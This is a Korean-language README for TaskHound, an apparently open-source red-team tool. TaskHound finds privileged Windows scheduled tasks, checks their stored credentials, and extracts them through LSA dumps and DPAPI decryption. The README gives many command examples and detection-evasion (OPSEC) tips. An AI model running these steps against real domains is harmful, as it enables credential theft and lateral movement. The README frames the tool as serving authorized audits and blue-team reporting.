Windows 권한 있는 예약 작업 검색 도구 — 재미와 이익을 위한 도구입니다.

TaskHound는 권한 있는 계정과 저장된 자격 증명으로 실행되는 Windows 예약 작업을 탐색합니다. SMB를 통해 작업을 열거하고, XML을 파싱하며, BloodHound 연동을 통해 고가치 공격 기회를 식별합니다.

배경 이야기/로어 및 자세한 설명은 관련 블로그 게시물을 참조하세요 - Part 1 및 Part 2.

주요 기능

빠른 시작```bash

Install

git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .

Basic usage - single target

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple targets with threading

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10

Auto-discover all domain computers

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20

With LAPS - auto-retrieves per-host local admin passwords

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

Offline analysis of mounted disk image

taskhound --offline-disk /mnt/disk

> **인증 지원**: TaskHound는 비밀번호, NTLM 해시, Kerberos(ccache 포함), AES 키 인증을 포함한 대부분의 주요 인증 메커니즘을 지원합니다.

## 구성 파일

TaskHound는 영구 설정을 위한 TOML 구성 파일을 지원합니다. 작업 디렉터리 또는 `~/.config/taskhound/`에 `taskhound.toml`을 생성하세요:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"

[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30

[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}"      # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"

[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"

[laps]
enabled = true

[cache]
enabled = true
ttl = 86400  # 24 hours

우선순위: CLI 인자 > 환경 변수 > 로컬 구성 > 사용자 구성 > 기본값

AdaptixC2 통합

TaskHound의 BOF는 Adaptix Extension-Kit의 SAR-BOF/taskhound/ 아래에 포함되어 있습니다.

데모 출력```

TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD

                 by 0xr0BIT

[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)

┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘

╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯

---

## BloodHound 통합

TaskHound는 자동 형식 감지를 통해 **Legacy BloodHound**(Neo4j)와 **BloodHound Community Edition(BHCE)**을 모두 지원합니다.

### 실시간 연결```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"

# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-user admin --bh-password password

# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
  --bh-user neo4j --bh-password password

Tier 0 탐지 방법

오프라인 데이터 수집

실시간 연결이 불가능한 경우, 다음 Cypher 쿼리를 사용하여 고가치 사용자를 내보내세요:

BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;

**레거시:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups

그런 다음 사용하세요: taskhound --bh-data exported_users.json ...

OpenGraph 공격 경로 시각화

TaskHound는 BloodHound CE에 사용자 지정 노드와 엣지를 생성하여 예약된 작업 공격 경로를 시각화합니다.

제공 기능:

• 사용자 지정 노드: ScheduledTask 및 20개 이상의 속성(자격 증명, 트리거, 암호 분석, 유효성 검사 상태)
• 사용자 지정 엣지: HasTask, HasTaskWithStoredCreds, RunsAs
• 공격 경로: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash

Collect and auto-upload

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph

Generate without upload (saves to {output_dir}/opengraph/)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload

> **참고**: OpenGraph는 BHCE 전용입니다. 레거시 BloodHound는 사용자 지정 노드 유형을 지원하지 않습니다.

---

## LAPS 통합

TaskHound는 호스트별 인증을 위해 LAPS 암호를 자동으로 검색하여 사용할 수 있습니다. Windows LAPS(`msLAPS-Password`) 및 레거시 LAPS(`ms-Mcs-AdmPwd`)를 모두 지원하며, MS-GKDI를 통한 암호화된 암호도 포함합니다.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin

# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps

지원되는 LAPS 유형:

DPAPI 자격 증명 추출

TaskHound는 DPAPI를 사용하여 저장된 작업 자격 증명을 추출하고 복호화합니다. DPAPI 자격 증명 탈취는 기본적으로 활성화되어 있습니다.```bash

Step 1: Get DPAPI_SYSTEM key via LSA dump

nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa

Look for: DPAPI_SYSTEM userkey: 0x51e43225...

Step 2a: Loot + decrypt immediately (looting is default, just add key)

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...

Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local

Later:

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

Custom output directory

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected

Disable DPAPI looting explicitly

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot

> **중요**: 각 호스트는 고유한 DPAPI_SYSTEM 키를 가집니다. 다중 대상 스캔의 경우, 수집(기본값)한 다음 각 대상을 오프라인으로 복호화하십시오.

---

## 자격 증명 검증

TaskHound는 RPC를 통해 작업 실행 기록을 쿼리하고 휴리스틱을 적용하여 저장된 작업 암호가 여전히 유효한지 평가합니다. 이 기능은 **기본적으로 활성화**되어 있습니다.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds

작동 방식

Windows 작업 스케줄러는 성공한 작업 실행만 기록합니다. 인증 실패(잘못된 암호, 계정 잠금 등)는 조용히 무시됩니다. 작업이 실행되지 않을 뿐입니다.

핵심 인사이트: Windows는 작업 생성 시 자격 증명을 검증합니다. 잘못된 암호로 작업을 만들려고 하면 ERROR_LOGON_FAILURE가 발생하고 작업이 생성되지 않습니다. 즉, 저장된 자격 증명이 있는 작업이 존재한다면 해당 암호는 작업 생성 시점에 유효했다는 뜻입니다.

TaskHound는 자격 증명 유효성을 추정하기 위해 휴리스틱을 사용합니다:

핵심 인사이트: AD의 pwdLastSet을 작업 스케줄러의 LastRunTime과 비교하면 마지막 성공적인 실행 이후 암호가 변경되었는지 알 수 있습니다. 실행된 적이 없는 작업의 경우 pwdLastSet을 task_creation_date와 비교하면 유효한 자격 증명으로 작업이 생성된 후 암호가 변경되었는지 알 수 있습니다.

AD 데이터가 없는 경우(예: --no-ldap 및 BloodHound 없음): TaskHound는 반환 코드와 마지막 실행 시간만 사용하여 RPC 전용 모드로 대체됩니다. 성공적인 실행은 LIKELY_VALID를 반환합니다. 트리거 간격이 작업 XML에서 알려진 경우 일정 기반 만료 감지가 여전히 적용됩니다.

참고: --opsec 또는 --no-rpc를 사용할 때 비활성화됩니다.

출력 형식

TaskHound는 다양한 사용 사례를 위한 여러 출력 형식을 지원합니다. 모든 출력은 --output-dir(기본값: ./output) 아래의 구조화된 디렉터리 레이아웃을 사용합니다.

사용 가능한 형식

사용 예제```bash

Default - plain text to console + files

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple output formats

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html

JSON only for automation

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json

Custom output directory

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results

All formats for comprehensive audit

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit

### 디렉터리 구조```
./output/                           # Base directory (--output-dir)
├── plain/                          # Plain text output
│   └── <hostname>/
│       └── tasks.txt
├── json/                           # JSON export
│   └── taskhound.json
├── csv/                            # CSV export
│   └── taskhound.csv
├── html/                           # HTML security reports
│   └── taskhound.html
├── opengraph/                      # BloodHound OpenGraph files
│   └── taskhound_data.json
└── raw_backups/                    # Raw collection (XML + DPAPI)
    └── <hostname>/
        ├── tasks/                  # Task XML files
        └── dpapi_loot/             # DPAPI credential blobs

HTML 보안 보고서

HTML 출력은 블루 팀 평가를 위해 설계된 포괄적인 보안 보고서를 생성합니다:

• 심각도 점수: 권한, 저장된 자격 증명 및 구성을 기반으로 위험 수준에 따라 작업 평가
• 작업 세부 정보: 트리거, 작업, 실행 계정 및 검증 상태를 포함한 전체 메타데이터
• 필터링: 호스트, 심각도 및 자격 증명 상태별 클라이언트 측 필터링
• 내보내기 준비: 관리 보고서 및 감사 문서에 적합

백업 수집

기본적으로 TaskHound는 오프라인 분석을 위해 원시 XML 작업 파일과 DPAPI 자격 증명 blob을 저장합니다:```bash

Disable backup collection

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup

Analyze backups later (offline mode)

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

---

## 멀티스레드 스캐닝

대규모 환경에서는 속도 제한을 적용한 병렬 스캐닝을 사용하세요:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5

# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20

# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90

# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0

자동 타깃 필터링

기본적으로 --auto-targets는 노이즈와 실패한 연결을 줄이기 위해 스마트 필터링을 적용합니다:

데이터 소스 우선순위: BloodHound(구성된 경우) → LDAP 폴백

BloodHound를 사용할 때 TaskHound는 효율적인 단일 쿼리 열거를 위해 include_properties=true로 쿼리합니다. BloodHound 데이터가 7일보다 오래된 경우 경고가 표시되며, 30일을 초과하면 긴급 경고가 표시됩니다.

필터 프리셋:

• servers - Windows Server 운영 체제만 해당
• workstations - 서버가 아닌 운영 체제만 해당
• (raw LDAP) - 사용자 지정 LDAP 필터(LDAP 소스 필요)

SID 해석

TaskHound는 다중 계층 폴백 체인을 사용하여 SID를 읽기 쉬운 이름으로 해석합니다:

1. BloodHound (연결된 경우) - 가장 빠르며 네트워크 트래픽 없음
2. 캐시 - SQLite 영구 캐시(기본 24시간 TTL)
3. LSARPC - 직접 대상 쿼리(로컬 계정에 가장 정확)
4. LDAP - 도메인 컨트롤러 쿼리
5. 글로벌 카탈로그 - 도메인/포리스트 간 SID용```bash

Separate LDAP credentials for SID resolution

taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local

Specify Global Catalog for multi-domain

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1

Disable all network-based resolution (OPSEC)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec

---

## 오프라인 분석

네트워크 접속 없이 작업을 분석합니다:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local

# Mounted disk image
taskhound --offline-disk /mnt/disk

# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE

OPSEC 고려 사항

TaskHound는 은밀성과 기능성 간의 균형을 위해 네트워크 작업에 대한 세밀한 제어를 제공합니다.

프로토콜 영향

SID 확인 체인```

Default: BloodHound → Cache → LSARPC → LDAP → GC --no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC --opsec: BloodHound → Cache (only)

### 기본 동작

TaskHound는 **기본적으로 매우 시끄럽습니다(noisy)** - 모든 기능이 최대 가시성을 위해 활성화되어 있습니다. 이는 OPSEC이 문제되지 않는 감사 및 종합 평가에 이상적입니다:

- **Credential Guard 탐지** - 기본 활성화 (`--no-credguard`로 비활성화)
- **자격 증명 검증** - 기본 활성화 (`--no-validate-creds`로 비활성화)
- **DPAPI 수집(Looting)** - 기본 활성화 (`--no-loot`로 비활성화)
- **LDAP 해석(Resolution)** - 기본 활성화 (`--no-ldap`로 비활성화)
- **RPC 작업** - 기본 활성화 (`--no-rpc`로 비활성화)

> [!WARNING]
> **Credential Guard 검사는 매우 탐지되기 쉽습니다.** 최신 Windows에서는 Remote Registry 서비스가 기본적으로 중지되어 있기 때문에, TaskHound는 SCM을 통해 원격으로 **서비스를 시작**하고, 검사를 수행한 후, 다시 중지합니다(secretsdump와 동일). 이로 인해 제대로 된 SOC라면 크리스마스 트리처럼 경보가 울릴 것입니다. **작전 중 이를 피하려면 반드시 `--no-credguard`를 사용하세요!**

그런 작전(Engagements)에 관해서 말하자면: 레드 팀/은밀 작전의 경우 `--opsec`을 사용하여 모든 시끄러운 기능을 한 번에 비활성화하십시오. (또는 BOF를 사용하세요).

### 사용 예시```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec

# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5

# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap

# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc

# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps

은닉을 위한 모범 사례

1. BloodHound 데이터 사전 채우기 - --bh-live로 도메인 데이터를 먼저 가져오기
2. --opsec 플래그 사용 - 모든 소음이 많은 작업을 한 번에 비활성화
3. 타이밍 무작위화를 위한 --jitter 추가 - 예측 가능한 스캔 패턴 방지
4. 다른 수단으로 XML 수집 - --offline으로 오프라인 분석
5. BOF 구현 사용 - AdaptixC2에서 사용 가능

전체 CLI 참조

TaskHound는 색상 테이블과 진행 표시기가 포함된 형식화된 콘솔 출력을 위해 Rich를 사용합니다.``` taskhound --help

<details>
<summary>클릭하여 전체 사용법 펼치기</summary>```
Usage: taskhound [OPTIONS] [TARGETS]

AUTHENTICATION OPTIONS
  -u, --username        Username (required for online mode)
  -p, --password        Password (omit with -k for Kerberos/ccache)
  -d, --domain          Domain (required for online mode)
  --hashes              NTLM hashes (LM:NT or NT-only)
  -k, --kerberos        Use Kerberos authentication
  --aes-key             AES key for Kerberos (32 or 64 hex chars)

TARGET OPTIONS
  -t, --target          Single target or comma-separated list
  --targets-file        File with targets, one per line
  --dc-ip               Domain controller IP
  --ns, --nameserver    DNS nameserver for lookups
  --timeout             Connection timeout in seconds (default: 5)
  --threads             Parallel worker threads (default: 10)
  --rate-limit          Max targets per second (default: unlimited)
  --jitter SECONDS      Random delay (0-N seconds) between hosts (OPSEC, sequential only)
  --dns-tcp             Force DNS over TCP (for SOCKS proxies)
  --auto-targets        Auto-discover targets (BloodHound first, LDAP fallback)
  --ldap-filter         Filter for auto-targets: 'servers', 'workstations', or raw LDAP
  --include-dcs         Include Domain Controllers in auto-targets
  --include-disabled    Include disabled computer accounts
  --stale-threshold     Exclude computers inactive >N days (default: 60, 0=disable)

SCANNING OPTIONS
  --offline             Parse XMLs from directory
  --offline-disk        Analyze mounted Windows filesystem
  --disk-hostname       Override hostname for offline-disk
  --bh-data             BloodHound export file for HV detection
  --opsec               Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
  --no-rpc              Disable RPC operations (LSARPC, CredGuard, validation)
  --include-ms          Include \Microsoft tasks
  --include-local       Include local system accounts
  --include-all         Include ALL tasks
  --unsaved-creds       Show tasks without stored credentials
  --no-credguard        Disable Credential Guard detection (default: enabled)
  --no-validate-creds   Disable credential validation (default: enabled)

BLOODHOUND OPTIONS
  --bh-live             Enable live BloodHound connection
  --bh-connector        BloodHound URI (default: http://127.0.0.1:8080)
  --bh-user             BloodHound username
  --bh-password         BloodHound password
  --bh-api-key          BloodHound API key
  --bh-api-key-id       BloodHound API key ID
  --bh-timeout          API query timeout (default: 120)
  --bhce                Use BHCE (Community Edition)
  --legacy              Use Legacy BloodHound (Neo4j)
  --bh-save             Save query results to file

OPENGRAPH OPTIONS (BHCE ONLY)
  --bh-opengraph        Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
  --bh-no-upload        Skip automatic upload
  --bh-force-icon       Force icon update
  --bh-icon             Icon name (default: clock)
  --bh-color            Icon color (default: #8B5CF6)
  --bh-allow-orphans    Create edges for missing nodes

DPAPI OPTIONS
  --no-loot             Disable DPAPI credential collection (default: enabled)
  --dpapi-key           DPAPI_SYSTEM userkey (hex format)

LDAP/SID RESOLUTION
  --no-ldap             Disable LDAP/GC operations
  --ldap-user           Alternative LDAP username
  --ldap-password       Alternative LDAP password
  --ldap-hashes         Alternative LDAP hashes
  --ldap-domain         Alternative LDAP domain
  --ldap-tier0          Enable LDAP-based Tier-0 detection
  --gc-server           Global Catalog server IP

LAPS OPTIONS
  --laps                Enable LAPS authentication
  --laps-user           Override local admin username
  --force-laps          Force LAPS in OPSEC mode

CACHE OPTIONS
  --cache-ttl           Cache TTL in seconds (default: 86400)
  --no-cache            Disable caching
  --clear-cache         Clear cache before run
  --cache-file          Cache file path

OUTPUT OPTIONS
  -o, --output          Output formats (comma-separated: plain,json,csv,html)
                        Default: plain
  --output-dir          Base output directory (default: ./output)
  --no-backup           Disable raw XML backup collection
  --no-summary          Disable summary table

  Output directory structure:
    ./output/
    ├── plain/<host>/tasks.txt    # Plain text output
    ├── json/taskhound.json       # JSON export
    ├── csv/taskhound.csv         # CSV export
    ├── html/taskhound.html       # HTML security report
    ├── opengraph/                # BloodHound OpenGraph files
    └── raw_backups/<host>/       # Raw XML + DPAPI files
        ├── tasks/                # Task XML files
        └── dpapi_loot/           # DPAPI credential blobs

MISC
  --verbose             Verbose output
  --debug               Debug output with stack traces

로드맵

카페인 섭취와 자유 시간이 맞아떨어질 때:

최근 완료 사항

• API 키 인증 - HMAC-SHA256 서명 요청
• LAPS 지원 - Windows LAPS + 레거시 + MS-GKDI를 통한 암호화
• 멀티스레드 처리 - 속도 제한이 있는 병렬 스캐닝
• 자격 증명 검증 - RPC 기반 비밀번호 유효성 검사
• 다중 출력 형식 - 구조화된 디렉터리 레이아웃의 일반 텍스트, JSON, CSV, HTML
• 자동 대상 검색 - LDAP 기반 컴퓨터 열거
• 오프라인 디스크 모드 - 마운트된 디스크 이미지 분석
• 영구 캐싱 - SID/LAPS 데이터용 SQLite 캐시
• 리치 콘솔 출력 - 컬러 테이블 및 진행률 표시기
• 크로스 도메인 지원 - 트러스트 관계가 있는 다중 도메인 환경

계획

• 단계 모듈화: 스위치가 너무 많아 거대한 괴물이 되어버렸습니다. 고치겠습니다.
• 악용 정보 통합: BloodHound 노드의 MITRE ATT&CK 기법
• 사용자 정의 Tier-0 매핑: BHCE에서 사용자 정의 권한 영역 지원
• Linux 검사: *nix 기반 운영 체제 스캔 지원

감사의 말

• Fortra/Impacket - SMB/RPC/Kerberos, DPAPI-NG, MS-GKDI
• SpecterOps/BloodHound - 공격 경로 분석
• Podalirius/bh-opengraph - OpenGraph 영감
• Pennyw0rth/NetExec - LAPS 구현 참고 자료
• jborean93/dpapi-ng - DPAPI-NG 연구
• tijldeneut/DPAPIck3 - DPAPI 복호화 참고 자료
• gentilkiwi/mimikatz - DPAPI 연구

그리고 공격적 보안 도구에 대한 접근성을 높이는 데 기여한 모든 분들께 감사드립니다.

면책 조항

TaskHound는 엄격히 감사 및 교육용 도구입니다. 소유한 환경 또는 명시적인 테스트 승인을 받은 환경에서만 사용하세요. 진심으로요. 민폐 끼치지 마세요.

기여

PR 환영합니다. 절반은 카페인에 취한 vibe-coding의 결과물이니, 기적을 기대하지 마세요.

라이선스

책임감 있게 사용하세요. 보증은 제공되지 않습니다. 자세한 내용은 LICENSE를 참조하세요.